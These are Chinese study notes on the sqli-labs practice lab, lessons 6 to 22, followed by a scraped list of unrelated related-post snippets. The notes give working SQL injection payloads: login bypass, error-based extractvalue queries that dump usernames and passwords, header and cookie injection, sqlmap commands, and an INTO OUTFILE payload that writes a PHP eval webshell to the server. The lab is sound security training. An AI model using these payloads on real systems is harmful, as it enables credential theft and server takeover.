sqli-labs学习笔记 DAY3
DAY 3
sqli-labs lesson 6
- 同lesson 5,只是把单引号改为双引号
sqli-labs lesson 7
- 同lesson 5,只是把单引号后面加两个空格,使用Burpsuit时,需要对结果进行匹配
- 这一关主要要学习的是sql种into outfile这个命令
- 这个命令能够把字符串写入文件,但必须拥有目录的权限
- 可以通过类似lesson5中猜解数据库名称的方法,猜解出@@datadir数据库目录
- 然后把一句话木马上传到服务器
- 命令:http://localhost/sqli-labs-master/Less-7/?id=1’))+UNION+SELECT+1,2,"<?php @eval($_GET(‘cmd’)) ?>"+into+outfile+“D:\\phpStudy\\WWW\\sqli-labs-master\\a.php”;–+
- 注意:如果提示secure-file-priv错误,在mysql.ini中写入"secure_file_priv = "即可
 
- sqlmap注入同lesson 2
sqli-labs lesson 8
- 同lesson 5 布尔型注入
sqli-labs lesson 9
- 同lesson 5 基于延迟的注入
补充lesson 5的一种手工注入方法
- 基于错误回显的注入
- 如果在检测注入点时发现网页会回显sql语法错误,但是网页上却没有能用的回显点,可以使用这种方法。
- 公式:
 
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
- 使用时把payload改为SQL语句即可
sqli-labs lesson 10
- 同lesson 5基于时间延迟的注入,只不过把单引号改为双引号
sqli-labs lesson 11
- 手工注入
- 首先想到尝试使用amdin账户登录,事实上,无论能否登录,都不影响这一关
- 用户名任意,密码填入:1’ OR 1=1;#,会爆出一个用户,说明这里存在注入点,可以尝试联合查询语句。
- 用户名填:1’ UNION SELECT 1,2;#,密码随意,发现网页上有两个回显点。
- 其他步骤均与之前相同。
 


- sqlmap
- 命令:python sqlmap.py -u http://localhost/sqli-labs-master/Less-11/ --data “uname=1&passwd=1&submit=Submit” --batch
- –data参数:用于发送数据,GET和POST方法均适用。
- 其他均相同
- 补充
- –dbs参数:查询所有数据库
- –threads x:设置最大病发线程数,建议不要超过10
- –techniques X(X=B布尔型,E报错型,U联合注入型,T延迟型):指定注入类型
 
 
sqli-labs lesson 12
- 同上一题,把单引号改为双引号加右括号
sqli-labs lesson 13
- 闭合符号为单引号加右括号,由于没有注入点,可以使用报错型注入,也可与基于返回的图片使用布尔型注入。
- 可以使用Burpsuit辅助,简化注入过程
- sqlmap注入过程极慢
sqli-labs lesson 14
- 闭合符号为双引号,其他同lesson 13
- 注意使用HackBar时,要把符号编码
sqli-labs lesson 15
- 布尔型注入,闭合符号为单引号,同lesson 13
sqli-labs lesson 16
- 布尔型注入,闭合符号为双引号加右括号。
sqli-labs lesson 17
- 这是个更新密码的操作,使用的是SQL语句中的UPDATE
UPDATE table_name
SET column1=value1,column2=value2,...
WHERE some_column=some_value;
- 可以使用报错型注入
- 也可以使用延时型注入
- 根据源码,UPDATE语句中的用户名是经过一次转义并且SELECT之后获得的用户名,所以不能直接在用户名上检测
sqli-labs lesson 18
- 注入点在HTTP头,抓包修改User-Agent即可(可使用Burpsuit,其他抓包工具一般也支持),这一关是SQL的插入语句,这里使用报错型注入
- 报错型注入的第二种公式:'and extractvalue(1,concat(0x7e,(payload),0x7e))
- 爆库:'and extractvalue(1,concat(0x7e,(database()),0x7e)) and ‘1’='1
  
- 爆表:'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e)) and ‘1’='1
- 爆字段:'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e)) and ‘1’='1
- 爆记录:'and extractvalue(1,concat(0x7e,(select concat_ws(",",username,password) from security.users limit n,1),0x7e)) and ‘1’='1
 
- 爆库:'and extractvalue(1,concat(0x7e,(database()),0x7e)) and ‘1’='1
sqli-labs lesson 19
- 同lesson 18,只不过改成修改Referer参数了
sqli-labs lesson 20
- 根据源码,这一次,是要修改COOKIE里的uname值,方法同lesson 18
sqli-labs lesson 21
- COOKIE中的用户名经过base64编码,所以注入方法同lesson 20,注意要把payload也进行编码
sqli-labs lesson 22
- 和上一题一样,只不过闭合闭合符号使用的双引号,修改一下符号即可
sqli-labs学习笔记 DAY3的更多相关文章
- python网络爬虫与信息提取 学习笔记day3
		Day3: 只需两行代码解析html或xml信息 具体代码实现:day3_1 注意BeautifulSoup的B和S需要大写,因为python大小写敏感 import requests r ... 
- Sqli - Labs 靶场笔记(一)
		Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ... 
- Python学习笔记——Day3
		Python字典(Dictionary) 字典是一种可变容器模型,可存储任意类型对象. 字典的每个键值(key => value)对用冒号(:)分割,每个对之间用逗号(,)分割,整个字典包括在花 ... 
- [python学习笔记]Day3
		函数 如: def is_leapyear(year): if (year%4 == 0 and year%100 != 0) or (year%400 == 0): return True else ... 
- JS学习笔记Day3
		一.什么是循环结构 满足一定条件,(((重复)))执行一段相同的代码 二.循环思想是什么(循环三要素) 开始 结束 步长(步进) 三.可以实现循环语句的有哪些 while do while for 四 ... 
- HTML学习笔记Day3
		一.CSS样式 1.每个css样式都必须由两部分组成:选择符(Selector)+声明(Deleration) 注:声明又包括属性(Properyt)和属性值(value) 2.css属性:属性是指定 ... 
- python学习笔记Day3
		set有点:1.访问速度快 2.天生解决了重复问题 tuple与set区别: 元组可重复,set不可重复创捷集合1 >>> s1.add('alex')>>> pr ... 
- Python学习笔记 - day3 - 数据类型及运算符
		Python的数据类型 计算机顾名思义就是可以做数学计算的机器,因此,计算机程序理所当然地可以处理各种数值.但是,计算机能处理的远不止数值,还可以处理文本.图形.音频.视频.网页等各种各样的数据,不同 ... 
- Linux20期学习笔记 Day3
		管道符.通配符.转义符及部分常用命令.考点 
随机推荐
- oracle查询用户的权限
			DBA_* 描述的是数据库中的所有对象 ALL_* 描述的是当前用户有访问权限的所有对象 USER_* 描述的是当前用户所拥有的所有对象 查看所有用户: select * from dba_user ... 
- --oracle删除数据库表(无主键)中重复的记录
			--oracle删除数据库表(无主键)中重复的记录 1, CREATE TABLE newtable as SELECT distinct * FROM T_SYSTEM_MENU_PRIV; 2, ... 
- 给大家推荐一款非常好用的表单验证插件:lr-verify.js
			废话不说,直接上代码说明,1分钟学会: 例: 1.验证配置 $.extend(Verify.types, { "must" : { "verify" : fun ... 
- 笔记:css中的position定位
			position的值可以是:static,relative,absolute,fixed. 默认值是 static.设置 left.top值无效. relative是相对定位,可以设置left.top ... 
- 获取vue路由跳转路径
			平时BUG: 在vue中使用element ui 中的导航组件时,使用index作为跳转的路径,单击跳转没有问题,但是当刷新页面是,选项卡的激活 状态就变成初始化的了,起起初想到用获取window.l ... 
- TP框架图片压缩/上传
			<-- 在前端的代码 --><form action="{:url('index/user/personal')}" method="post" ... 
- 关于pythond在终端中运行
			下载python并安装后,如果想要在终端中直接运行,我们需要配置环境变量. 在计算机右击选择属性,,选择高级属性,点击环境变量,,即可新建环境变量, ,然后可以在终端中运行python解释器. 
- kubernetes常用基础命令
			创建资源对象 创建名为nginx-deploy的控制器资源对象 [root@master ~]# kubectl run nginx-deploy --image=nginx:1.12 --repli ... 
- PMP考试通过
			经过3个月的努力,终于在10月8号,过完国庆假期,得知考试通过.虽然没有得到5A,只有4A,心也算落下了.备考的过程中,通过学习小组讨论,互相交流,辅导. 自己也对学习的知识加深印象.总结一下整个学习 ... 
- 20155216 2017-2018-1 《信息安全系统设计基础》第二周课堂练习补交以及Myod的实现
			20155216 2017-2018-1 <信息安全系统设计基础>第二周课堂练习补交 课堂测试3:行断点的设置 运行截图: 未完成原因:课前未安装 cgdb 具体步骤: 1.输入命令:gc ... 
